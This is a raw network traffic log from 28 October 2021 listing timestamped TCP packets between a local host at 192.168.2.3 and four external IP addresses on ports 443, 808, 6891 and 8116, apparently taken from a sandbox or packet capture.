Oct 28, 2021 05:05:02.449702978 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:02.449727058 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.454920053 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:02.454938889 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.455007076 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:02.455014944 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:02.496433973 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.496602058 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.496727943 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:02.497680902 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:02.500500917 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:02.500612974 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:02.658082008 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.660912991 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.660933018 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.660974979 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.661094904 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:02.661176920 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.041100979 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.041122913 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.041249037 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.041280985 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.048820972 CEST	49905	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.167404890 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:03.167479038 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:03.167547941 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:03.167603970 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:03.171977997 CEST	49904	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:03.172007084 CEST	443	49904	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:03.172182083 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:03.209245920 CEST	808	49905	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.312143087 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.338535070 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:03.341021061 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:03.341481924 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:03.474441051 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.474558115 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.475658894 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.507749081 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:03.507867098 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:03.508065939 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:03.509139061 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:03.511919975 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:03.512006044 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:03.637743950 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.638017893 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.638879061 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.641530037 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.645836115 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.645948887 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:03.679490089 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:03.679522991 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:03.803745031 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.807878971 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.807910919 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.807921886 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.807935953 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:03.807950974 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:04.056731939 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:04.056756973 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:04.056906939 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.067028046 CEST	49906	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.178026915 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.190757990 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:04.190797091 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:04.190871954 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:04.193125963 CEST	49907	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:04.227727890 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.228858948 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.229676008 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.233325005 CEST	6891	49906	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:04.278417110 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.278995991 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.279109001 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.279581070 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.282500982 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.282604933 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.319025040 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.331209898 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.331585884 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.355235100 CEST	808	49907	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:04.485506058 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:04.485646009 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.486217976 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.502321005 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.502357006 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.502468109 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.508053064 CEST	49909	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:04.556835890 CEST	8116	49909	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:04.630994081 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:04.631047010 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:04.631155968 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:04.631584883 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:04.631608009 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:04.652689934 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:04.652726889 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:04.652920008 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.653515100 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.657574892 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.657735109 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:04.823952913 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:04.824080944 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:05.153656960 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.154767036 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.158611059 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.158643007 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.162283897 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.162311077 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.162400007 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.162412882 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.205908060 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:05.205935001 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:05.206032038 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:05.208365917 CEST	49911	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:05.325232029 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.374660015 CEST	6891	49911	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:05.379511118 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.382083893 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.382802963 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.436619997 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.436944008 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.437058926 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.437470913 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.440550089 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.440658092 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.494487047 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.494704008 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.535500050 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.665530920 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.665560961 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.665755987 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.668744087 CEST	49915	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:05.722604990 CEST	8116	49915	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:05.792073011 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.792113066 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.792192936 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.793165922 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.793181896 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.873846054 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.873928070 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:05.873934031 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.873984098 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.881581068 CEST	49912	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:05.881618023 CEST	443	49912	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:06.026035070 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.190489054 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.190596104 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.191255093 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.285751104 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:06.285903931 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:06.286572933 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:06.286587954 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:06.292346954 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:06.292365074 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:06.292458057 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:06.292465925 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:06.355885983 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.356024027 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.356075048 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.356714010 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.360542059 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.360667944 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.521023035 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.524739027 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.524763107 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.524777889 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.524936914 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.524959087 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.912183046 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.912220001 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:06.912267923 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.912291050 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.917665005 CEST	49920	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:06.985234976 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:06.985295057 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:06.985326052 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:06.985346079 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:06.989083052 CEST	49917	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:06.989104033 CEST	443	49917	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:07.037727118 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.081974030 CEST	808	49920	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.099757910 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.203223944 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.206413984 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.208811045 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.266343117 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.266468048 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.267014980 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.374133110 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.374295950 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.374398947 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.374933958 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.378781080 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.378885984 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.433384895 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.433459044 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.433618069 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.434284925 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.438534021 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.438644886 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.544289112 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.544313908 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.544323921 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.600775003 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.604953051 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.604971886 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.605026007 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.922142982 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.922180891 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:07.922360897 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.928210020 CEST	49926	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:07.989325047 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.989362001 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:07.989444971 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.989496946 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:07.993046045 CEST	49927	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:08.039948940 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.093633890 CEST	6891	49926	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.093717098 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.093976974 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.094825029 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.106004000 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:08.149018049 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.149059057 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.149254084 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.149912119 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.153933048 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.154031038 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.159445047 CEST	808	49927	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:08.207735062 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.207922935 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.208487988 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.272499084 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.275382996 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:08.276204109 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:08.395175934 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.395215988 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.395344019 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.401716948 CEST	49933	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:08.442575932 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.442616940 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.442769051 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:08.443325043 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:08.447643042 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:08.447782040 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:08.455370903 CEST	8116	49933	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:08.521946907 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:08.521986008 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:08.522099972 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:08.522572994 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:08.522586107 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:08.615128994 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.615166903 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.615183115 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.997765064 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.997792959 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:08.997864008 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:09.001413107 CEST	49934	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:09.019387007 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.019465923 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.020118952 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.020127058 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.026026011 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.026041985 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.026164055 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.026176929 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.120552063 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.168065071 CEST	6891	49934	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:09.174443960 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.174550056 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.175493002 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.229846954 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.230215073 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.230333090 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.230902910 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.234807968 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.234932899 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.287766933 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.288472891 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.327462912 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.457505941 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.457539082 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.457596064 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.457626104 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.459908962 CEST	49941	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:09.513001919 CEST	8116	49941	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:09.584913015 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.584964037 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.585159063 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.585789919 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.585813046 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.718981981 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.719067097 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.719216108 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.726408958 CEST	49937	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:09.726444960 CEST	443	49937	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:09.836107969 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:09.999216080 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:09.999351025 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.000196934 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.071821928 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:10.071907043 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:10.072841883 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:10.072865963 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:10.078074932 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:10.078098059 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:10.078315020 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:10.078330994 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:10.163203955 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.163244009 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.164215088 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.164778948 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.168997049 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.169178963 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.327636957 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.331928015 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.331963062 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.331979990 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.726825953 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.726869106 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:10.727072001 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.727163076 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.733675957 CEST	49946	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:10.767339945 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:10.767442942 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:10.767618895 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:10.824217081 CEST	49944	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:10.824244976 CEST	443	49944	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:10.896733999 CEST	808	49946	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.046652079 CEST	49952	808	192.168.2.3	143.244.140.214
